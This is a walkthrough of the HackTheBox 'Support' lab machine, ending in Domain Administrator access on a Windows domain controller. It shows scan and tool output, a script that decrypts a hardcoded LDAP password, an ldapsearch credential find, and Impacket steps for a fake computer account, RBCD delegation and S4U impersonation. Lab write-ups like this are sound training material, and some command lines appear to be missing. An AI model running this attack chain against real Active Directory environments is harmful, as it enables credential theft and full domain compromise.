Support is a medium-difficulty HackTheBox machine that begins with unauthenticated SMB share enumeration against a Windows Server 2022 Domain Controller. Guest access to the support-tools share yields a custom .NET executable, which is decompiled to reverse a dual-XOR decryption routine and extract credentials for support\ldap. Querying Active Directory user attributes via ldapsearch reveals the cleartext password for the support user stored inside its info field, securing initial WinRM access. Because support belongs to Shared Support Accounts with GenericAll rights over the domain controller computer object, a fake computer account is created via SAMR to configure Resource-Based Constrained Delegation (RBCD). Finally, S4U Kerberos delegation extensions are executed to impersonate the Domain Administrator for CIFS/dc.support.htb, granting full administrative file access over SMB to retrieve the root flag.
1. Reconnaissance & Unauthenticated SMB Exfiltration
1.1 Network Scanning & Service Discovery
As the first step, I ran an NMAP scan on the target machine to get a better idea of the target machine. I used nmap -sC -sV -O support.htb -oN nmap_scan to scan the open ports and services.
Starting Nmap 7.99 ( https://nmap.org ) at 2026-10-10 19:47 -0400 Nmap scan report for support.htb (10.129.13.211) Host is up (0.43s latency). Not shown: 988 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-10-11 23:57:06Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: support.htb, Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: support.htb, Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-title: Not Found |_http-server-header: Microsoft-HTTPAPI/2.0 Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running (JUST GUESSING): Microsoft Windows 2022|10|11|2012|2016 (89%) OS CPE: cpe:/o:microsoft:windows_server_2022 cpe:/o:microsoft:windows_10 cpe:/o:microsoft:windows_11 cpe:/o:microsoft:windows_server_2012:r2 cpe:/o:microsoft:windows_server_2016 Aggressive OS guesses: Microsoft Windows Server 2022 (89%), Microsoft Windows 10 1703 or Windows 11 21H2 - 23H2 (85%), Microsoft Windows Server 2012 R2 (85%), Microsoft Windows Server 2016 (85%) No exact OS matches for host (test conditions non-ideal). Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb2-security-mode: | 3.1.1: |_ Message signing enabled and required |_clock-skew: 1d00h08m29s | smb2-time: | date: 2026-10-11T23:58:00 |_ start_date: N/A OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 149.82 seconds
Based on the scan result, the target machine is a Windows Server Active Directory Domain Controller, and the following ports and services are open.
- Port 53 - Simple DNS Plus
- Port 88 - Microsoft Windows Kerberos
- Port 135 - Microsoft Windows RPC Endpoint Mapper(MSRPC)
- Ports 139 and 445 - Microsoft Directory Services (SMB)
- Ports 389 and 636 - Active Directory LDAP Services (LDAP/LDAPS)
- Ports 3268 and 3269 - Active Directory Global Catalogue
- Port 5985 - WinRM
1.2 Unauthenticated SMB Share Enumeration
Since the machine does not provide any valid credentials, I decided to enumerate the SMB service first. I used `netexec to enumerate the SMB shares.
SMB 10.129.13.211 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:support.htb) (signing:True) (SMBv1:None) (Null Auth:True) SMB 10.129.13.211 445 DC [+] support.htb\guest: SMB 10.129.13.211 445 DC [*] Enumerated shares SMB 10.129.13.211 445 DC Share Permissions Remark SMB 10.129.13.211 445 DC ----- ----------- ------ SMB 10.129.13.211 445 DC ADMIN$ Remote Admin SMB 10.129.13.211 445 DC C$ Default share SMB 10.129.13.211 445 DC IPC$ READ Remote IPC SMB 10.129.13.211 445 DC NETLOGON Logon server share SMB 10.129.13.211 445 DC support-tools READ support staff tools SMB 10.129.13.211 445 DC SYSVOL Logon server share
Since the support-tools share is not a common share, I decided to enumerate this share that allows guest access.
1.3 Binary Artifact Exfiltration
support-tools SMB share contains multiple exe files. I exfiltrated the UserInfo.exe.zip file.
Password for [WORKGROUP\guest]:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Wed Jul 20 13:01:06 2022
.. D 0 Sat May 28 07:18:25 2022
7-ZipPortable_21.07.paf.exe A 2880728 Sat May 28 07:19:19 2022
npp.8.4.1.portable.x64.zip A 5439245 Sat May 28 07:19:55 2022
putty.exe A 1273576 Sat May 28 07:20:06 2022
SysinternalsSuite.zip A 48102161 Sat May 28 07:19:31 2022
UserInfo.exe.zip A 277499 Wed Jul 20 13:01:07 2022
windirstat1_1_2_setup.exe A 79171 Sat May 28 07:20:17 2022
WiresharkPortable64_3.6.5.paf.exe A 44398000 Sat May 28 07:19:43 2022
4026367 blocks of size 4096. 967969 blocks available
smb: \> get UserInfo.exe.zip
getting file \UserInfo.exe.zip of size 277499 as UserInfo.exe.zip (96.1 KiloBytes/sec) (average 96.1 KiloBytes/sec)
smb: \> 2. Reverse Engineering .NET Assembly & Credential Extraction
2.1 Archive Unpacking & String Heap Analysis
Unzipping UserInfo.exe.zip produced UserInfo.exe and several supporting DLL files.
Archive: UserInfo.exe.zip inflating: UserInfo.exe inflating: CommandLineParser.dll inflating: Microsoft.Bcl.AsyncInterfaces.dll inflating: Microsoft.Extensions.DependencyInjection.Abstractions.dll inflating: Microsoft.Extensions.DependencyInjection.dll inflating: Microsoft.Extensions.Logging.Abstractions.dll inflating: System.Buffers.dll inflating: System.Memory.dll inflating: System.Numerics.Vectors.dll inflating: System.Runtime.CompilerServices.Unsafe.dll inflating: System.Threading.Tasks.Extensions.dll inflating: UserInfo.exe.config
After extracting, I was able to use monodis to extract and inspect hardcoded strings in the UserInfo.exe executable.
cat UserInfoExtracted.txt User Strings heap contents 00: "" 01: "0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E" 63: "armando" 73: "LDAP://support.htb" 99: "support\\ldap" ... 169: "[*] LDAP query to use: " 199: "sAMAccountName" ... 293: "sAMAccountName=" 2b3: "pwdLastSet" 2c9: "lastLogon" ...
Extracted strings contain an encrypted base64 encoded string, a key string and an account name.
2.2 Assembly Decompilation & Algorithm Analysis
To inspect the decryption method, I used ilspycmd and used to decompile UserInfo.exe to C# code.
dotnet tool search ilspycmd dotnet tool install --global ilspycmd ilspycmd UserInfo.exe > UserInfo.cs
Inspecting the decompiled code, I was able to reveal the getPassword() that is responsible for decrypting the hardcoded password.
private static string enc_password = "0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E";
private static byte[] key = Encoding.ASCII.GetBytes("armando");
public static string getPassword()
{
byte[] array = Convert.FromBase64String(enc_password);
byte[] array2 = array;
for (int i = 0; i < array.Length; i++)
{
array2[i] = (byte)((uint)(array[i] ^ key[i % key.Length]) ^ 0xDFu);
}
return Encoding.Default.GetString(array2);
}
}
internal class LdapQuery
{
private DirectoryEntry entry;2.3 Decryption Execution & Credential Recovery
I was able to create a custom Python script to decrypt the password.
import base64
enc = "0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E"
key = b"armando"
data = base64.b64decode(enc)
password = bytes(
(data[i] ^ key[i % len(key)]) ^ 0xDF
for i in range(len(data))
)
print(password.decode())Executing the script, I was able to successfully decrypt the password.
nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz
So, the embedded credentials are:
Username:- support\ldap
Password:- nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz
3. Active Directory LDAP Enumeration & Initial Access
3.1 Active Directory Ingestion & LDAP Attribute Dumping
I was able to use the extracted credentials and extract the domain data using bloodhound-python for analysis using BloodHound.
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3) INFO: Found AD domain: support.htb INFO: Getting TGT for user WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: [Errno Connection error (dc.support.htb:88)] [Errno -2] Name or service not known INFO: Connecting to LDAP server: dc.support.htb INFO: Found 1 domains INFO: Found 1 domains in the forest INFO: Found 1 computers INFO: Connecting to LDAP server: dc.support.htb INFO: Found 21 users INFO: Found 53 groups INFO: Found 2 gpos INFO: Found 1 ous INFO: Found 19 containers INFO: Found 0 trusts INFO: Starting computer enumeration with 10 workers INFO: Querying computer: dc.support.htb INFO: Done in 01M 31S
According to the BloodHound mapping, the user ldap does not have any outbound object controls. Since there are no vectors to abuse using the user ldap, I decided to enumerate LDAP user accounts using ldapsearch.
# extended LDIF # # LDAPv3 # base
Results revealed that the cleartext password for the support user is left in the info section.
Membership in the Remote Management Users group grants WinRM access to the target machine.
3.2 User Flag Capture
Using the retrieved credentials for the support user, I was able to use evil-winrm to log in to the target machine and retrieve the user flag.
Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\support\Documents> whoami support\support *Evil-WinRM* PS C:\Users\support\Documents> dir ../Desktop
4. Privilege Escalation via Resource-Based Constrained Delegation
4.1 Control Graph Mapping
BloodHound mapping shows that the support user is a member of the Shared Support Accounts group, which has GenericAll access over the Domain Controller computer object.
Holding GenericAll permissions over a computer account allows writing to its DACL and modifying sensitive AD attributes, including msDS-AllowedToActOnBehalfOfOtherIdentity. This misconfiguration enables Resource-Based Constrained Delegation (RBCD). Unlike traditional constrained delegation (which is configured on the service seeking to delegate), RBCD is configured on the target resource itself, specifying which accounts are permitted to authenticate on behalf of arbitrary domain users.
4.2 Machine Account Provisioning
To perform Resource-Based Constrained Delegation (RBCD), there has to be an attacker-controlled machine object in the domain. Since the support user has GenericAll access to the domain controller computer, I can provision a new computer object.
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies [*] Successfully added machine account ATTACKERSYSTEM$ with password nullbyte.
SAMR for the -method. Specifying -method SAMR instructs impacket-addcomputer to interact with the Security Account Manager Remote protocol over SMB/RPC (port 445). This bypasses LDAPS requirements and registers the computer account directly via SAMR RPC interfaces.
4.3 RBCD Delegation Configuration
With ATTACKERSYSTEM$ machine object provisioned (that I have control over), and support user holding GenericAll over DC$ machine object, I was able to write ATTACKERSYSTEM$'s SID into DC$.
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies [*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty [*] Delegation rights modified successfully! [*] ATTACKERSYSTEM$ can now impersonate users on DC$ via S4U2Proxy [*] Accounts allowed to act on behalf of other identity: [*] ATTACKERSYSTEM$ (S-1-5-21-1677581083-3380853377-188903654-6101)
5. Domain Administrator Impersonation & Root Flag
5.1 Kerberos Service Ticket Impersonation
With Resource-Based Constrained Delegation (RBCD) configured on DC$, a malicious computer object I created, ATTACKERSYSTEM$, can impersonate any domain user to access services running on the Domain Controller.
I was able to use impacket-getST to acquire an administrative Service Ticket for user administrator.
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies [-] CCache file is not found. Skipping... [*] Getting TGT for user [*] Impersonating administrator [*] Requesting S4U2self [*] Requesting S4U2Proxy [*] Saving ticket in administrator@cifs_dc.support.htb@SUPPORT.HTB.ccache
5.2 Administrative SMB Session & Root Flag Capture
To authenticate using the Kerberos ticket cache, the environment variable KRB5CCNAME needs to be pointed to the .ccache file.
export KRB5CCNAME="$PWD/administrator@cifs_dc.support.htb@SUPPORT.HTB.ccache"
I was able to use impacket-smbclient to connect to the SMB service as the administrator with Kerberos authentication (-k) and access the C$ directory and retrieve the root flag from the Administrator's Desktop directory.
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies Type help for list of commands # shares ADMIN$ C$ IPC$ NETLOGON support-tools SYSVOL # use C$ # ls drw-rw-rw- 0 Thu Jul 21 08:53:59 2022 $WinREAgent drw-rw-rw- 0 Thu Jul 21 07:02:11 2022 Config.Msi drw-rw-rw- 0 Thu May 19 05:01:23 2022 Documents and Settings -rw-rw-rw- 12288 Sun Oct 11 19:52:31 2026 DumpStack.log.tmp -rw-rw-rw- 1476395008 Sun Oct 11 19:52:31 2026 pagefile.sys drw-rw-rw- 0 Thu May 19 05:59:42 2022 PerfLogs drw-rw-rw- 0 Thu Jul 21 07:01:48 2022 Program Files drw-rw-rw- 0 Thu May 19 05:59:42 2022 Program Files (x86) drw-rw-rw- 0 Thu May 19 05:28:59 2022 ProgramData drw-rw-rw- 0 Thu May 19 05:01:25 2022 Recovery drw-rw-rw- 0 Sat May 28 07:18:25 2022 share drw-rw-rw- 0 Tue Jul 19 13:54:02 2022 System Volume Information drw-rw-rw- 0 Tue Jul 26 09:21:11 2022 Users drw-rw-rw- 0 Thu Jul 21 08:49:34 2022 Windows # cd Users # ls drw-rw-rw- 0 Tue Jul 26 09:21:11 2022 . drw-rw-rw- 0 Thu Jul 21 08:53:59 2022 .. drw-rw-rw- 0 Sat May 28 07:11:01 2022 Administrator drw-rw-rw- 0 Thu May 19 06:00:00 2022 All Users drw-rw-rw- 0 Thu May 19 05:01:23 2022 Default drw-rw-rw- 0 Thu May 19 06:00:00 2022 Default User -rw-rw-rw- 174 Thu May 19 05:58:04 2022 desktop.ini drw-rw-rw- 0 Tue Jul 26 09:21:12 2022 ldap drw-rw-rw- 0 Thu May 19 05:13:28 2022 Public drw-rw-rw- 0 Sun Oct 11 22:03:39 2026 support # cd Administrator/Desktop # ls drw-rw-rw- 0 Sat May 28 07:17:06 2022 . drw-rw-rw- 0 Sat May 28 07:11:01 2022 .. -rw-rw-rw- 282 Thu May 19 05:13:28 2022 desktop.ini -rw-rw-rw- 34 Sun Oct 11 19:53:40 2026 root.txt # cat root.txt
Congrats! We found both flags!
HTB Machine Completion
